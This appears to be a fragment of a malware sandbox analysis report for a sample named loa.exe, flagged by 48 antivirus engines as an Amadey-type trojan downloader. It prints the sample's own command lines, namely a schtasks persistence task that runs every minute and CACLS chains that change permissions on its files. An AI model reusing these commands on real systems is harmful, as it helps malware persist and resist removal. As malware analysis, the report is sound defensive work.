cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe" /F
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe" /F

Uses suspicious command line tools or Windows utilities (6 events)

cmdline	cmd /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\207aa4515d" /P "test22:N"&&CACLS "..\207aa4515d" /P "test22:R" /E&&Exit
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\207aa4515d" /P "test22:N"&&CACLS "..\207aa4515d" /P "test22:R" /E&&Exit
cmdline	CACLS "oneetx.exe" /P "test22:R" /E
cmdline	CACLS "oneetx.exe" /P "test22:N"
cmdline	CACLS "..\207aa4515d" /P "test22:R" /E
cmdline	CACLS "..\207aa4515d" /P "test22:N"

File has been identified by 48 AntiVirus engines on VirusTotal as malicious (48 events)

MicroWorld-eScan	IL:Trojan.MSILZilla.9891
FireEye	Generic.mg.0478a63ce705230c
CAT-QuickHeal	Trojan.MokesFC.S23223552
ALYac	IL:Trojan.MSILZilla.9891
Malwarebytes	Trojan.Crypt.MSIL.Generic
Sangfor	Trojan.Win32.Save.a
K7AntiVirus	Ransomware ( 005a8b921 )
K7GW	Ransomware ( 005a8b921 )
CrowdStrike	win/malicious_confidence_100% (W)
Arcabit	IL:Trojan.MSILZilla.D26A3
BitDefenderTheta	Gen:NN.ZemsilF.36318.Bm0@aK2moMg
Cyren	W32/MSIL_Kryptik.FFY.gen!Eldorado
Elastic	malicious (high confidence)
ESET-NOD32	a variant of MSIL/Agent.UZA
APEX	Malicious
Cynet	Malicious (score: 100)
Kaspersky	HEUR:Trojan-Downloader.MSIL.ShortLoader.gen
BitDefender	IL:Trojan.MSILZilla.9891
Avast	Win32:DropperX-gen [Drp]
Tencent	Msil.Trojan-Downloader.Shortloader.Ftgl
Emsisoft	IL:Trojan.MSILZilla.9891 (B)
DrWeb	Trojan.MulDropNET.43
VIPRE	IL:Trojan.MSILZilla.9891
TrendMicro	TROJ_GEN.R014C0DGV23
McAfee-GW-Edition	BehavesLike.Win32.Generic.gc
Trapmine	malicious.moderate.ml.score
Sophos	Troj/ILAgent-I
SentinelOne	Static AI - Malicious PE
Avira	TR/Agent.pfsnt
MAX	malware (ai score=89)
Gridinsoft	Trojan.Win32.Amadey.bot
Microsoft	Trojan:MSIL/Mokes.B!MTB
ZoneAlarm	HEUR:Trojan-Downloader.MSIL.ShortLoader.gen
GData	Win32.Trojan-Downloader.Amadey.ENGX11
Google	Detected
AhnLab-V3	Malware/Win.Generic.C4478643
Acronis	suspicious
McAfee	GenericRXOO-YN!0478A63CE705
VBA32	Trojan.MSIL.Injector.gen
Cylance	unsafe
Panda	Trj/GdSda.A
Rising	Trojan.AntiVM!1.CF63 (CLASSIC)
Ikarus	Trojan.MSIL.Krypt
MaxSecure	Trojan.Malware.300983.susgen
Fortinet	MSIL/GenKryptik.FFMZ!tr
AVG	Win32:DropperX-gen [Drp]
Cybereason	malicious.ce7052
DeepInstinct	MALICIOUS

loa.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All